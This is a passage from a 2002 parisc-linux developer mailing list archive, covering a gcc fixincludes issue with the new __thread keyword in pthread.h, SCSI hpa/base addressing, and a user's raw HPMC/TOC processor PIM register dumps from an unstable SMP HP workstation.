	for <parisc-linux@parisc-linux.org>; Mon, 3 Jun 2002 11:12:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g53FCnh7011018;
	Mon, 3 Jun 2002 11:12:49 -0400 (EDT)
In-Reply-To: <1023116322.3cfb842218471@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Jun 3, 2002 04:58:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14961

> /* Create a thread with given attributes ATTR (or default attributes
>    if ATTR is NULL), and call function START_ROUTINE with given
>    arguments ARG.  */
> extern int pthread_create (pthread_t *__restrict __thr,
>                            __const pthread_attr_t *__restrict __attr,
>                            void *(*__start_routine) (void *),
>                            void *__restrict __arg) __THROW;
> ...
> 
> Which seems to be the desired patch?

Yes.

> Hmm... In what changing parameter name from __thread to __thr in such function
> prototype does matter (exepted if there is a border effect with some #define
> else where)? [afaik this name doe not matter for a C compiler?]

Changing the name doesn't matter in a C function prototype.  The bug in the
system header is that __thread is now a reserved language keyword.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Mon, 03 Jun 2002 17:47:13 +0200 (CEST)
Lines: 37
Approved: news@gmane.org
Message-ID: <1023119233.3cfb8f8180cd6@webmail.tiscalinet.be>
References: <200206020045.g520jQ6K009698@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621353 8227 80.91.229.3 (22 Nov 2014 01:55:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:53 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 09:47:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52C3C482F
	for <parisc-linux@parisc-linux.org>; Mon,  3 Jun 2002 09:47:20 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Eu37-0007xa-00; Mon, 03 Jun 2002 17:47:13 +0200
In-Reply-To: <200206020045.g520jQ6K009698@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14962

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > I will have a detailed look but as newbee in gcc stuff it will take a
> time.
> 
> If you manually execute the failing compilation command changing '-c'
> to '-E', this will generate the cpp processed output for the
> compilation
> source file.

Hey I also had to do it when I tried and succed to port f2c with bcc 31 (ten
years ago already ;)

>  Inspection of this output should allow you to see exactly
> which include files have been loaded and the result of all macro
> expansions.

and here is the only pthread_create expansion I found in the output file:
# 163 "../linuxthreads/sysdeps/pthread/pthread.h"
extern int pthread_create (pthread_t *__restrict __thread,
                           __const pthread_attr_t *__restrict __attr,
                           void *(*__start_routine) (void *),
                           void *__restrict __arg) ;

So I will change manually __thread by __thr and see.

I also find glibc cvs and co and the new version of 

${src}/glibc/linuxthreads/sysdeps/pthread/pthread.h replace also __thread by
__threadp. Curious?

Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Mon, 03 Jun 2002 19:09:40 +0200 (CEST)
Lines: 70
Approved: news@gmane.org
Message-ID: <1023124180.3cfba2d4dc38b@webmail.tiscalinet.be>
References: <200205311715.g4VHF4Pu006500@hiauly1.hia.nrc.ca> <1023116322.3cfb842218471@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621354 8230 80.91.229.3 (22 Nov 2014 01:55:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:54 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 11:09:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE6384834
	for <parisc-linux@parisc-linux.org>; Mon,  3 Jun 2002 11:09:48 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17EvKu-0000KN-00; Mon, 03 Jun 2002 19:09:40 +0200
In-Reply-To: <1023116322.3cfb842218471@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14963

Dave,

I really have no chance with this b2000:
I broken first my install and now it makes a HPMC in the middle of binutils
build and the pim info are not clear :((

So I will have to ask to HP to analyse those pim and eventually repare it.
(I hoppe we have a maintenance contract for this server)

Joel

Quoting joel.soete@freebel.net:

> Dave,
> 
> Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:
> 
> > > It seems to be well comited in last cvs update this morming I got
> in
> > > src/gcc/gcc/fixinc/inclhack.def:
> > > ...
> > > /*
> > >  * __thread is now a keyword.
> > >  */
> > 
> > > But do not seems to be applied as I got the same error?
> > > 
> > > What do I wrong or forget to do?
> > 
> > You should see the following in your build output:
> > 
> > Applying thread_keyword           to pthread.h
> > Fixed:  pthread.h
> 
> It stand well in my log files and here is the result:
> in {build}/gcc/include/pthread.h
> ...
> /* Create a thread with given attributes ATTR (or default attributes
>    if ATTR is NULL), and call function START_ROUTINE with given
>    arguments ARG.  */
> extern int pthread_create (pthread_t *__restrict __thr,
>                            __const pthread_attr_t *__restrict __attr,
>                            void *(*__start_routine) (void *),
>                            void *__restrict __arg) __THROW;
> ...
> 
> Which seems to be the desired patch?
> 
> Hmm... In what changing parameter name from __thread to __thr in such
> function
> prototype does matter (exepted if there is a border effect with some
> #define
> else where)? [afaik this name doe not matter for a C compiler?]
> 
> So I will have to go further to analyse precompile results.
> 
> See you next,
>     Joel
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Mon, 3 Jun 2002 13:38:23 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200206031738.g53HcNjL011765@hiauly1.hia.nrc.ca>
References: <1023124180.3cfba2d4dc38b@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621354 8235 80.91.229.3 (22 Nov 2014 01:55:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 11:38:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BDB34839
	for <parisc-linux@parisc-linux.org>; Mon,  3 Jun 2002 11:38:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g53HcOFN011766
	for <parisc-linux@parisc-linux.org>; Mon, 3 Jun 2002 13:38:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g53HcNjL011765;
	Mon, 3 Jun 2002 13:38:23 -0400 (EDT)
In-Reply-To: <1023124180.3cfba2d4dc38b@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Jun 3, 2002 07:09:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14964

> I really have no chance with this b2000:
> I broken first my install and now it makes a HPMC in the middle of binutils
> build and the pim info are not clear :((

I'd try a new kernel first.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Mon, 03 Jun 2002 14:38:19 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020603203819.DB7084831@dsl2.external.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com> <20020402164417.6C6B6482A@dsl2.external.hp.com>  <3CFB4D2A.F86BEDC4@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621354 8238 80.91.229.3 (22 Nov 2014 01:55:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:54 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 14:38:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DB7084831; Mon,  3 Jun 2002 14:38:19 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Mon, 03 Jun 2002 13:04:10 +0200." <3CFB4D2A.F86BEDC4@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14965

Bruno Vidal wrote:
> Can someone can explain what is the difference between the
> "hpa" of a scsi card (pci or not) and the "base" in the structure Scsi_Host ?

hpa and base are "handles" for different views of HW.
"hpa" doesn't have to be a physical address (though it normally is).
On V-class, the hpa is bogus and just a reference to particular IO device.
base could be "adjusted" (like the LASI example) or "F-extended"
for 64-bit or whatever the platform code thinks the driver needs
to reference the device properly.

But in practice, for the platforms we support to date, I think you
can compare them (or compare most of the bits) to determine
if it's the same device.

grant



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Mon, 3 Jun 2002 14:58:11 -0700 (PDT)
Lines: 383
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206031455490.24659-100000@garibaldi.apptechsys.com>
References: <Pine.LNX.4.44.0206021214450.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621355 8239 80.91.229.3 (22 Nov 2014 01:55:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 15:58:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id D625A4832
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Jun 2002 15:58:13 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id BDBF87BC46; Mon,  3 Jun 2002 14:58:11 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0206021214450.11012-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14966

On Sun, 2 Jun 2002, Jeremy Drake wrote:

> On Sun, 2 Jun 2002, Grant Grundler wrote:
> 
> > If it avoids the HPMC (but we still see other hangs), then it's
> > a clue we don't have caching working right for that CPU setup.

> OK.  No HPMC, but a new and interesting message.  The serial console 
> hangs, as always.
> 
> Fetched 2696kB in 26s (103kB/s)
> apt-get(263): unaligned access to 0x403ce08c at ip=0x4005e4f7
> Reading Package
> 
> But, the LCD screen has a new message for me: 
> 
> INI 3001: SYS BD
> PDH control init
> 
> If you think it would help, I could pay the box a visit today and get 
> whatever "ser pim" or "ser pim toc" I can...

Here it is...  BTW, maybe you could explain how to interpret these, so I 
don't have to send you all of this...

ser pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp = 
  Tue May  28 23:38:36 GMT 2002    (20:02:05:28:23:38:36)

HPMC Chassis Codes = 2cbf0  2500b  2cbf1  2cbfc  

General Registers 0 - 31
00-03   0000000000000000  000000095bf6dde5  0000000000019bf0  00000000f4004000
04-07   0000000000001d58  0000000000002710  ffffffffffffffce  0000000000002000
08-11   0000000044657266  fffffffff4004000  000000000000000a  fffffff0f0000834
12-15   0000000000000000  ffffffffffffffff  0000000000000001  fffffff0f0400004
16-19   fffffff0f00008c4  fffffff0f000017c  fffffff0f0000174  00000000000019fc
20-23   00000000f4004014  00000000000001f4  0000000000019bf0  ffffffffffffffff
24-27   ffffffffffffffff  0000000000000000  000000fa00000000  fffffff0f0412000
28-31   0000000000035b60  ffffffffffffffff  0000000000001e90  0000000000002710

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000004  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000006
12-15   0000000000000000  0000000000000000  000000f0f0003800  0000000000000000
16-19   000000095d2ccf91  0000000000000000  0000000000019bf4  000000000e80103d
20-23   00000000a607ffd0  c000000001004014  000000ff0000ff08  8800000000000000
24-27   0000000055555555  0000000055555555  0000000000041020  00000000f0412000
28-31   0000000055555555  0000000055555555  00000000f04088d8  0000000000000020
Space Registers 0 - 7

00-03   00000000          c9af9dd0          00000000          00000000
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000019bf8
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff4004014
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   2ffa200000000001  000000011015fa8c  1036505000000000  00000001f0400004
08-11   1036505000000002  ffffffff0000000a  0000000100000000  1041fdd31035d020
12-15   ffffffff000000ff  103a4000101482f4  103a4000ffff99ef  1115070010110264
16-19   2ffa200011150000  0000000000000002  000000001035d010  1035981010358810
20-23   1035901010359810  103598102ffa2000  1115000000000000  0000000200000000
24-27   5555555555555555  5555555555555555  5555555555555555  5555555555555555
28-31   3031323334353637  383961621014859c  6768696a6b6c6d6e  6f70717273747576

<Press any key to continue (q to quit)> 


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xc381141008000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x02010000ac802000
CPU Status Register 0        = 0x2040000000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0x0221fd0050210df0
Read Short LOG               = 0xc18080fff4004014
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0x37dd3fa153c23ee1
RUN_DATA_LOW                 = 0xe840d00037de3f01
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc13ff0f0f003ce50
System Responder Path        = 0x00ffffff0a000f01


HPMC PIM Analysis Information:

Timestamp = 
  Tue May  28 23:38:36 GMT 2002    (20:02:05:28:23:38:36)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/0/15/1 (built-in PCI device).


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

<Press any key to continue (q to quit)> 

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000040000000  000000004000dc93  00000000faf00800
04-07   0000000040000000  0000000000000008  0000000040026758  0000000000000000
08-11   0000000000000000  00000000faf00798  0000000000000000  0000000000000000
12-15   00000000faf00890  0000000040026612  00000000faf00300  0000000000000000
16-19   0000000040000000  0000000010408000  0000000000000000  0000000040000000
20-23   00000000faf0089f  00000000faf006a0  000000001031a8b0  00000000faf00798
24-27   0000000000000008  0000000011150408  000000000000000f  000000001015fbb4
28-31   0000000000028000  0000000011150380  0000000011150640  000000004000f923

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000002  0000000000000000  00000000000000c0  0000000000000010
12-15   0000000000000000  0000000000000000  0000000000106000  00000000ff800000
16-19   000000110d4ad99d  0000000000000000  00000000101076c0  000000002f301221
20-23   0000000010340004  0000000054150408  000000000004000e  0000000000000000
24-27   0000000000366000  00000000003bb000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  0000000011150000  0000000010410000
Space Registers 0 - 7

00-03   00000001          00000001          00000000          00000001
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x00000000101076c4
CPU State                    = 0x9e000001


<Press any key to continue (q to quit)> 

-----------------  Processor 1 HPMC Information ------------------

Timestamp = 
  Sun Jun  2 19:40:32 GMT 2002    (20:02:06:02:19:40:32)

HPMC Chassis Codes = 2cbf0  2510b  2cbf4  2cbfc  

General Registers 0 - 31
00-03   0000000000000000  fffffff0f009d000  fffffff0f0068d78  0000000000000000
04-07   7f00000000000000  feffffffffffffff  000000000031b6f8  0000000000000008
08-11   fffffffffed30300  fffffffffed22200  0100000000000000  000000000002cb90
12-15   00000000000f4000  000000000000c800  fffffffffed40000  fffffffffed22210
16-19   4000000000000000  0000000000000002  00000000f000016c  fffffffffee003f9
20-23   fffffffffee003fb  0000000000000087  fffffffffee003f8  5871000000000000
24-27   7f00000000000000  fffffff0f0071eb8  fffffffffee003fa  fffffff0f0412000
28-31   0000000000000000  fffffffffee003fb  000000000031b7d8  fffffffffee00000

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   000000000000010c  0000000000000000  00000000000000c0  0000000000000039
12-15   0000000000000000  0000000000000000  0000000000106000  00000000ff000000
16-19   000000124c7c7456  000000003ffffff0  fffffff0f0037354  000000000e80103a
20-23   00000000ae07fffb  c0000000802003fb  0000000008000108  0000000080000000
24-27   0000000000336000  000000001f7e3000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  00000000100dc000  0000000011111111
Space Registers 0 - 7

00-03   00000000          00000086          00000000          00000086
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x000000003ffffff0
IIA Offset                   = 0xfffffff0f0037358
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fffee003fb
System Requestor Address     = 0xfffffffffffa2000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   2ffe200000000001  000000011015fa58  1033505000000000  00000001f0400004
08-11   1033505000000002  ffffffff0000000a  000000010000003f  103dfdd300000040
12-15   00000000103caf14  103caf4010148768  00000000ffff9b5f  100d470000000000
16-19   2ffe2000100d4000  0000000000000002  000000001032d010  1032981010328810
20-23   1032901010329810  103298102ffe2000  cccccccd51eb874f  0000000333333334
24-27   b38cf9b100000450  5555555555555555  5555555555555555  5555555555555555
28-31   3031323334353637  3839616210148a10  6768696a6b6c6d6e  6f70717273747576

<Press any key to continue (q to quit)> 


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041008000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x0201010000000004
CPU Status Register 0        = 0x2440c24000000000
CPU Status Register 1        = 0x800a000000000000
SADD LOG                     = 0xc11ff0f0f0002b50
Read Short LOG               = 0xc18100fffee003fb
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xe840c002000014bc
RUN_DATA_LOW                 = 0x379c00680f9a20dc
RUN_CTRL                     = 0x0000005c00001658
RUN_ADDR                     = 0xc13ff0f0f0002b50
System Responder Path        = 0x00ffff0a000e0101


HPMC PIM Analysis Information:

Timestamp = 
  Sun Jun  2 19:40:32 GMT 2002    (20:02:06:02:19:40:32)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

An Instruction I/O Fetch and Data I/O Fetch Timeout occurred while CPU 1 was
requesting information from a device at the path 10/0/14/1/1 (built-in PCI device).


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

<Press any key to continue (q to quit)> 

-----------------  Processor 1 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
